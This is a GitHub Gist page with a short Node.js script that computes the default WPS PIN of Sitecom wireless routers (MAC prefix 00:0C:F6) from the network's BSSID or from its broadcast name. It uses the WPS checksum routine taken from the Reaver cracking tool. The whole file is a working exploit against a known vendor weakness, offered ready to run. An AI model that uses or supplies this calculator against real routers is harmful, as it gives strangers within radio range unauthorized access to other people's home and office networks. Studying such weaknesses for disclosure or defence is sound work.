Last active
December 15, 2015 23:59
-
-
Save j3lte/5056fe74fce441714719 to your computer and use it in GitHub Desktop.
Sitecom WPS Calculator
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /** | |
| * SITECOM WPS KEY Calculator | |
| * | |
| * Calculates the WPS key of a Sitecom AP in the OUI range of 00:0C:F6 | |
| */ | |
| /* | |
| Checksum calculation, based on wps_pin_checksum in wps_common.c | |
| Source: http://reaver-wps.googlecode.com/svn/trunk/src/wps/wps_common.c | |
| */ | |
| exports.calculateChecksum = function(pin,callback){ | |
| if (typeof(pin) === 'string' && pin.length !== 7) | |
| return false; | |
| key = parseInt(pin); | |
| var accum = 0; | |
| while (key){ | |
| accum += 3 * (key % 10); | |
| key = parseInt(key/10); | |
| accum += (key % 10); | |
| key = parseInt(key/10); | |
| } | |
| callback((10 - (accum % 10))%10); | |
| } | |
| exports.calculateWPSKey = function(bssid){ | |
| if (typeof(bssid) !== 'string' || bssid.length !== 17) | |
| return false; | |
| bssid = bssid.toUpperCase(); | |
| if (bssid.indexOf('00:0C:F6') !== 0) | |
| return false; | |
| var lastPart = bssid.substr(-8).replace(/:/g,''); | |
| var last = parseInt(lastPart,16).toString().substr(-7); | |
| exports.calculateChecksum(last,function(check){ | |
| console.log("\nPIN: "+last+check); | |
| }); | |
| } | |
| exports.calculateSitecom = function(essid){ | |
| // accepts strings like 'SitecomB3F6C0' | |
| if (typeof(essid) !== 'string' || essid.length !== 13) | |
| return false; | |
| essid = essid.toUpperCase(); | |
| if (essid.indexOf('SITECOM') !== 0) | |
| return false; | |
| var last = essid.substr(-6); | |
| var bssid = '00:0C:F6:' + last.substr(0,2) + ':' + last.substr(2,2) + ':' + last.substr(4,2); | |
| console.log("\nBSSID: "+bssid); | |
| exports.calculateWPSKey(bssid); | |
| } | |
| //exports.calculateWPSKey('00:0C:F6:B3:F6:C0'); | |
| exports.calculateSitecom('SitecomB3F6C0'); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment